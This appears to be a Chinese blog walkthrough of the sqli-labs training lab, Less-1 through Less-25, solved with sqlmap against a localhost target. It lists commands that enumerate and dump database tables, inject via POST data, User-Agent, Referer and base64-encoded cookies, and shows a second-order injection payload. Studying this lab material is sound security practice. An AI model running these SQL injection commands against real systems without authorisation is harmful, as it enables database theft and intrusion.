注意点:

  • sqlmap 需要 python 的环境,并配置环境变量

  • 在实际检测过程中,sqlmap 会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数--batch命令来自动答复和判断

  • 用 sqlmap 工具注入完毕后,C 盘 AppData 文件夹下会有缓存文件夹,不删掉的话会影响 SQL 注入结果C:\Users\20846\AppData\Local\sqlmap\output,也可用sqlmap.py --purge来清空缓存

Less-1

1
2
3
python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --batch --banner
# --batch 从不询问用户输入,使用所有默认配置,换言之对所有的交互式的都是默认的
# -b, --banner 获取数据库管理系统的标识
1
2
# 查看数据库
python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --dbs

爆出数据库名

image-20230102210533809

1
2
# sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表
python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D security --tables

查询 security 数据库中的所有表

image-20230102210533809

1
2
# sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段)
python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D security -T users --columns

查看 security 数据库下的 users 表里都有哪些字段

image-20230102210533809

1
2
3
4
5
6
# sqlmap -u -D security -T users -C id,password,username --dump
# 爆出数据库 security 中的 users 表中的 id,password,username 列中的所有数据

python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D security -T users -C id,password,username --dump

# --dump 将结果保存下来

查看列字段的具体值

image-20230102210533809

因此,只要能找到注入点和数据库,就算上成功了

Less-2

以下操作都是基于 Less-1 的步骤,如法炮制而来

1
sqlmap -u http://localhost/sqli-labs/Less-2/?id=1 --batch --dbs

找到数据库

image-20230102210533809

Less-3

1
sqlmap -u http://localhost/sqli-labs/Less-3/?id=1 --batch --dbs

image-20230102210533809

Less-4

1
sqlmap -u http://localhost/sqli-labs/Less-4/?id=1 --batch --dbs

image-20230102210448578

Less-5

1
sqlmap -u http://localhost/sqli-labs/Less-5/?id=1 --batch --dbs

image-20230102211439065

Less-6

1
sqlmap -u http://localhost/sqli-labs/Less-6/?id=1 --batch --dbs

image-20230102211528581

Less-7

1
sqlmap -u http://localhost/sqli-labs/Less-7/?id=1 --batch --dbs

image-20230102212628709

Less-8

1
sqlmap -u http://localhost/sqli-labs/Less-8/?id=1 --batch --dbs

image-20230102212703863

Less-9

1
sqlmap -u http://localhost/sqli-labs/Less-9/?id=1 --batch --dbs

image-20230102212727018

Less-10

1
2
sqlmap -u http://localhost/sqli-labs/Less-10/?id=1 -level=2 --batch --dbs
# 当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入

image-20230103100730237

Less-11

1
2
3
4
5
6
7
sqlmap -u http://localhost/sqli-labs/Less-11/index.php --batch --data "uname=admin&passwd=admin&submit=Submit" --dbs

# 从该关开始,注入的位置不再是 URL,且请求变为了 POST,因此命令要随之而变。对于是 post 提交数据的 URL,需要指定其 data 参数,--data 能够抓取其 post 提交的数据填入

# 还有一种方法是:因为 Less-11 该关需要进行登录,可以先用账号 admin 密码 admin 登录,然后用 burp 抓包,将 burp 抓取的包保存为 target.txt,利用 sqlmap -r target.txt 命令,来探测 target.txt 文件中的 http 数据包是否存在 sql 注入漏洞

sqlmap -r target.txt

image-20230103101715139

Less-12

1
sqlmap -u http://localhost/sqli-labs/Less-12/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs

image-20230103104848000

Less-13

1
sqlmap -u http://localhost/sqli-labs/Less-13/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs

image-20230103111350146

Less-14

1
sqlmap -u http://localhost/sqli-labs/Less-14/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs

image-20230103113626681

Less-15

1
sqlmap -u http://localhost/sqli-labs/Less-15/index.php --data "uname=admin&passwd=admin&submit=Submit" --dbs --batch

以下略去

Less-16

1
sqlmap -u http://localhost/sqli-labs/Less-16/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs --level=2

Less-17

1
sqlmap -u http://localhost/sqli-labs/Less-17/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs

Less-18

1
2
3
4
5
# 注入的位置在 User-Agent 中
sqlmap -u http://localhost/sqli-labs/Less-18/ --data="uname=admin&passwd=admin&submit=Submit" --batch --user-agent="*" --thread=10 --dbs

# --thread=10,设置多线程,并行处理请求加快效率
# --user-agent="*" 是用来指定 User-Agent

Less-19

1
2
3
4
# 注入的位置在 Referer 中
sqlmap -u "http://localhost/sqli-labs/Less-19/" --data="uname=admin&passwd=admin&submit=Submit" --batch --referer="*" --thread=10 --dbs

# --referer,伪造 referer 字段

Less-20

1
2
3
4
5
# 注入的位置在 cookie 中
sqlmap -u http://localhost/sqli-labs/Less-20/index.php --cookie="uname=admin" --dbs --batch --level=5 --risk=3

# 同样,可以用 burp 抓包保存 ,殊途同归,第一次失败了,于是提高了线程,这将导致查询速度降低
sqlmap -r target-20.txt --leve=5 --risk=3 --dbs

image-20230103143710241

Less-21

1
2
# 注入的位置依旧在 cookie 中,但经过了 base64 加密的,用 sqlmap 来进行联合查询注入
sqlmap -u http://localhost/sqli-labs/Less-21/index.php --cookie="uname=*" --dbs --tamper "base64encode.py" --batch
1
2
3
4
5
6
7
sqlmap -u http://localhost/sqli-labs/Less-21/index.php --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U --dbs --batch -v 3
# --random-agent --> 使用任意的User-Agent爆破
# --flush-session --> sqlmap 扫描的时候会将缓存的数据记录到 output 文件下,下次扫描时会直接调用本地缓存的扫描结果。如果我们想删除缓存结果,重新对某网站进行扫描就需要添加 --flush-session 选项。
# --dbms=MySQ --> 指定其数据库为mysql
# --tamper base64encode --> 对提交的数据进行base64编码
# --technique=U --> 指定注入点类型,u 是指的 union 联合查询注入。其他还有 U/B/T/S
# -v --> 3 能看到 payload

image-20230103184816495

Less-22

1
sqlmap -u http://localhost/sqli-labs/Less-22/index.php --cookie="uname=*" --dbs --tamper "base64encode.py" --batch

image-20230103183343177

Less-23

1
sqlmap -u http://localhost/sqli-labs/Less-23/?id=1 --dbs --batch

image-20230103182500064

Less-24

1
2
3
4
# 这关是二次注入,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
# 需要先注册账号 admin'#,然后修改密码,后面的 # 号注释掉了
# Sql 语句变为
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

Less-25

1
sqlmap -u http://localhost/sqli-labs/Less-25/?id=1 --dbs --batch

image-20230103181022316


© Rabbit 使用 Stellar 创建

✨ 营业:

共发表 56 篇Blog 🔸 总计 123.6k